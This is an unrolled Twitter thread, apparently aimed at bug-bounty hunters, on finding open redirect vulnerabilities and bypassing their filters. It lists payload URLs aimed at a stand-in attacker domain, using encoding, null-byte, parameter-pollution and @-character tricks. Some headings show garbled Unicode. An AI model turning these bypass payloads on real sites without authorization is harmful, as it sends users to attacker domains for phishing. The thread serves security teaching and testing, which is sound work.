Snap Sec
Snap Sec

@snap_sec

12 Tweets 1,749 reads Feb 18, 2022
10 different techniques to Find and Bypass Open Redirect Vulnerabilities in Web Application.
[A Thread ๐Ÿงต]
#bugbounty #bugbountytips #cybersecurity #AppSec
[1/n]
๐–๐ก๐š๐ญ ๐ข๐ฌ ๐š๐ง ๐Ž๐ฉ๐ž๐ง ๐‘๐ž๐๐ข๐ซ๐ž๐œ๐ญ ๐•๐ฎ๐ฅ๐ง๐ž๐ซ๐š๐›๐ข๐ฅ๐ข๐ญ๐ฒ?
Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way.
[2/n]
๐‚๐จ๐ฆ๐ฆ๐จ๐ง ๐๐ฅ๐š๐œ๐ž๐ฌ ๐ญ๐จ ๐Ÿ๐ข๐ง๐ ๐Ž๐ฉ๐ž๐ง ๐‘๐ž๐๐ซ๐ข๐œ๐ญ๐ข๐จ๐ง:
login
register
logout
change site language
links in emails
[3/n]
For the sake of examples Let's assume:
[webapp.nt] is vulnerable app
[attacker.ed] is attacker controlled domain
๐๐š๐ฌ๐ข๐œ ๐‘๐ž๐๐ข๐ซ๐ž๐œ๐ญ ๐๐š๐ฒ๐ฅ๐จ๐š๐๐ฌ
http://webapp.nt?redirect=attacker.ed
This will redirect Users to attacker controlled domain("attacker.ed")
[4/n]
๐”๐‘๐‹ ๐›๐š๐ฌ๐ž๐ ๐ซ๐ž๐๐ข๐ซ๐ž๐œ๐ญ๐ข๐จ๐ง:
http://webapp.nt/http://attacker.ed
http://webapp.nt//http://attacker.ed
http://webapp.nt///http://attacker.ed
Blindly Appending attacker controlled URL may sometime lead to Open redirections.
[5/n]
๐—˜๐—ป๐—ฐ๐—ผ๐—ฑ๐—ถ๐—ป๐—ด ๐๐จ๐ญ(.) :
http://webapp.nt?redirect=attacker%E3%80%82ed
- Single URL encoding or . in payload
- Double URL encoding or . in payload
- Triple URL encoding or . in payload
[6/n]
๐—จ๐˜€๐—ถ๐—ป๐—ด ๐—ก๐˜‚๐—น๐—น ๐—–๐—ต๐—ฎ๐—ฟ:
http://webapp.nt?redirect=//attacker%00.ed
Mixing Nullchars to your payload may allow you to bypass the open redirect filter at the backend.
[7/n]
๐‡๐ญ๐ญ๐ฉ ๐๐š๐ซ๐š๐ฆ๐ž๐ญ๐ž๐ซ ๐๐จ๐ฅ๐ฅ๐ฎ๐ญ๐ข๐จ๐ง:
Passing same parameters twice in the same request may bypass the protection:
http://webapp.nt?redirect=//attacker.ed&redirect=//attacker.ed
or
http://webapp.nt?redirect=webapp.nt&redirect=//attacker.ed
[8/n]
๐”๐ฌ๐ข๐ง๐  @ ๐œ๐ก๐š๐ซ๐š๐œ๐ญ๐ž๐ซ:
If the company is allowing Redirects only to their own site, The following payload can be useful to bypass such protections
http://webapp.nt?redirect=//webapp.nt@attacker.ed
[9/n]
๐—จ๐˜€๐—ถ๐—ป๐—ด ๐—œ๐—ฃ ๐—ฎ๐—ฑ๐—ฑ๐—ฟ๐—ฒ๐˜€๐˜€ ๐˜„๐—ถ๐˜๐—ต ๐——๐—ถ๐—ณ๐—ณ๐—ฒ๐—ฟ๐—ฒ๐—ป๐˜ ๐—ก๐—ผ๐˜๐—ฎ๐˜๐—ถ๐—ผ๐—ป๐˜€:
Try redirecting to an IP address (instead of a domain) using different notations: IPv6, IPv4 in decimal, hex or octal
[10/n]
๐—˜๐—ป๐—ฐ๐—ผ๐—ฑ๐—ถ๐—ป๐—ด ๐—ง๐—ฒ๐—ฐ๐—ต๐—ป๐—ถ๐—พ๐˜‚๐—ฒ๐˜€:
Use the following encoding techniques to encode your payload if blocked by server-side:
Url Encoded
Double Url Encoded
Hex Encoded
Mixed Encoded
base64 encoded
[11/n]
๐‡๐“๐“๐ ๐ซ๐ž๐๐ข๐ซ๐ž๐œ๐ญ ๐ฌ๐ญ๐š๐ญ๐ฎ๐ฌ ๐œ๐จ๐๐ž๐ฌ:
Requests with the following Response codes maybe a indication to look for open redirect in such requests
301 Moved Permanently
302 Found
303 See Other
304 Not Modified
305 Use Proxy
307/308 Permanent/Temp Redirect

Loading suggestions...